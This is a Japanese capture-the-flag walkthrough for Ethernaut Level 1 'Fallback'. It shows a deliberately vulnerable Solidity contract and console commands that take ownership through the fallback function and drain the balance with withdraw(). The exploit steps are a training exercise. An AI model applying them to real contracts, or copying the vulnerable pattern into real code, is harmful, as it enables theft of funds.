Ethernaut 「Level.1 Fallback」解答例


Fallback

下記のコントラクトコードを見てください。
このレベルをクリアするには、

1.このコントラクトのownershipを自分にする
2.コントラクトの残高を0にする

回答に助けになるヒント

・ABIとやり取りする時にEtherを送る方法
・ABIの外部にEtherを送る方法
・wei/etherとの変換
・Fallbackメソッド

Sources

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

解答

クリアする条件と出されたヒントから注目する。
contract sourcesからは、ownershipを変更する「owner = msg.sender」
payableを動かすには、contractにEtherを送信する
msg.valueは、送信されたEtherの値
msg.senderは、コントラクトを実行したPlayerのアドレス(つまり自分)
となり、msg.senderのアドレスをownerに入れればownershipが取れることになります
ownershipが取れてしまえば、withdrawメソッドにコントラクトのBalanceを全て自分に転送するとあるので実行できればこのレベルはクリアしたことになります。

まずはFallbackメソッドにある下記の条件をクリアする為、contitribute[msg.sender]を0ではなくしてしまいましょう。

require(msg.value > 0 && contributions[msg.sender] > 0);

contributeメソッドにcontribute[msg.sender]に送ったEtherの値を加算するコードがありますが、条件として0.001 Ether未満というものがあります。
0ではなくすれば良い為、0.0001 Etherを送るようにしてみます。

contract.contribute({value: toWei(0.0001,"ether"), from: player})

Etherを送る場合Valueの値はWei換算の為、EtherをWeiに変換するコードを記入しています。
このコードを実行することでcontribute0.0001 Ether送ることができます。

次のコマンドで自分のcontributionsの値を確認してみましょう

await contract.getContribution()

t {s: 1, e: 14, c: Array(1)}
  c:[1]
  e:14
  s:1
  __proto__:Object

自分のcontributionsが0ではなくなれば、contractのsendTransactionを使い0.0001のEtherを送り(0以上ならOK)、Ownerを取得します。
メソッド名のないFallbackメソッドの場合は、sendTransactionを使います。

contract.sendTransaction({ from: player, to: instance, value: toWei(0.0001, "ether")})

ownershipが取得できたかコントラクトのオーナーを確認します。

await contract.owner()
"(自分のアドレス)"

Ownerを取得した後は、contractの残高を取得するwithdraw()メソッドを実行します。

contract.withdraw()

以上で「Level.1 Fallback」をクリアできます。
解答に導く順序についてはこれが正しいというわけではないのですが、クリア条件を満たすことはできると思います。
コントラクトのメソッドに直接Etherを送る方法については色々と調べさせていただきました。